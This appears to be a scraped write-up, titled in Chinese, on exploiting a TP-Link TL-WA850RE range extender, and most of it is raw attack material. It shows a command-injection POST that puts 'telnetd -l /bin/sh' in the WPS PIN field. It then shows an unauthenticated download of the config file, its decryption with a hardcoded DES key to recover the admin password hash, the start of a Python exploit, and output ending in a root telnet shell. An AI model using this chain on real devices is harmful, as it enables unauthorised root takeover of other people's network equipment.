使用Centrifuge平台检测固件漏洞

POST /data/wps.setup.json HTTP/1.1Origin: http://192.168.0.254Content-Length: 100Accept-Language: en-US,en;q=0.9Accept-Encoding: gzip, deflateConnection: closeAccept: application/json, text/javascript, /; q=0.01User-Agent: Mozilla/5.0Host: 192.168.0.254X-Requested-With: XMLHttpRequestReferer: http://192.168.0.254/Cookie: COOKIE=456787465784Content-Type: application/x-www-form-urlencoded; charset=UTF–8
operation=write&option=connect&wps_setup_pin=12345670;telnetd -l /bin/sh

sub_40B990  =>  /fs/pages/userrpm/timeSettings_dst.htmlsub_40E0C8  =>  /fs/pages/userrpm/connect.htmlsub_40E144  =>  /fs/pages/userrpm/extend-settings.htmlsub_40E04C  =>  /fs/pages/userrpm/accessControl_adv.htmlsub_40DF54  =>  /fs/pages/userrpm/region.htmlsub_40DFD0  =>  /fs/pages/userrpm/wirelessSettings.htmlsub_416DC0  =>  /fs/pages/userrpm/wifiCoverage.htmlsub_418040  =>  /fs/pages/userrpm/dhcp.htmlsub_419C90  =>  /fs/pages/userrpm/led.htmlsub_41B484  =>  /fs/pages/frame/quick-setup.htmlsub_41D41C  =>  /fs/pages/userrpm/basic.htmlsub_41D3A0  =>  /fs/pages/userrpm/basic_network.htmlsub_41D324  =>  /fs/pages/userrpm/network.htmlsub_420B68  =>  /fs/pages/userrpm/lan.htmlsub_421CC0  =>  /fs/pages/userrpm/password.htmlsub_422D20  =>  /fs/pages/userrpm/firmwareUpgrade.htmlsub_424630  =>  /fs/pages/userrpm/backupRestore.htmlsub_424D40  =>  /fs/data/config.binsub_424B58  =>  /fs/data/restore.jsonsub_426030  =>  /fs/data/login.jsonsub_426FCC  =>  /fs/data/lang.jsonsub_427520  =>  /fs/pages/userrpm/systemLog.htmlsub_428070  =>  /fs/pages/userrpm/wps.htmlsub_429AB0  =>  /fs/pages/userrpm/powerSchedule.html

$ wget http://192.168.0.254/fs/data/config.bin–2018–07–15 14:22:50– http://192.168.0.254/fs/data/config.binConnecting to 192.168.0.254:80… connected.HTTP request sent, awaiting response… 200 OKLength: unspecified [x-bin/octet-stream]Saving to: ‘config.bin’2018–07–15 14:22:50 (127 MB/s) - ‘config.bin’ saved [1120]

$ openssl enc -d -des-ecb -nopad -K 478DA50BF9E3D2CF -in config.bin > decrypted.bin

$ binwalk -e decrypted.bin
DECIMAL       HEXADECIMAL     DESCRIPTION--------------------------------------------------------------------------------144           0x90            Zlib compressed data, default compression
$ file _decrypted.bin.extracted/90_decrypted.bin.extracted/90: ASCII text, with very long lines, with no line terminators

   "ACCOUNT" : {      "Pwd" : "1048552CDE8EBBBE4CAEF9D3B95AB41B",      "UserName" : "admin"   },

    var doLogin = function(){       ///////////////  get cookies        checkCookie();        var submitStr = getCookie() || $.su.locale.cookie;       /* if(submitStr == null)        {            alert('open your cookies!');            return false;        }*/        var password = $.su.md5( $.su.md5($("input#login-password").password('getValue') ).toUpperCase() + ':' + submitStr  ).toUpperCase();        var strEncoded = passwordOnly?password:($("input#login-username").textbox('getValue') + ':' + password);        $('input#login-username').textbox('setNormal');        $('input#login-password').password('setNormal');        if( $('input#login-username').textbox('validate') && $('input#login-password').password('validate') && $('input#login-password-comfirm').password('validate') ){            var postData = {                "operation": "login",                "encoded": strEncoded,                "nonce": submitStr            }

#!/usr/bin/env pythonimport osimport md5import zlibimport jsonimport socketimport urllib2import subprocess

class Exploit(object):    '''    Exploit for the TL-WA850RE. Unauthenticated users can retrieve the device    configuration data, authenticate, and execute arbitrary commands as root.
    Prior art:        o https://www.exploit-db.com/exploits/44550/        o https://www.exploit-db.com/exploits/44912/        o http://teknoraver.net/software/hacks/tplink/

$ python ./exploit.py 192.168.0.254[+] Requesting browser cookie…[+] Retrieved cookie: ‘COOKIE=6500a8c000184c02; PATH=/; MAXAGE=9999; VERSION=1’[+] Attempting to retrieve device configuration data…[+] Got encrypted config file for model: TL-WA850RE v5.0[+] Decrypting config file…[+] Decompressing configuration data…[+] Admin username: ‘admin’[+] Admin password (MD5): ‘1048552CDE8EBBBE4CAEF9D3B95AB41B’[+] Attempting login with password only…[+] Attempting to execute “telnetd -l /bin/sh -p 8080”…[+] Exploit successful!
$ telnet 192.168.0.254 8080Trying 192.168.0.254...Connected to 192.168.0.254.Escape character is '^]'.
/ # reboot/ # Connection closed by foreign host.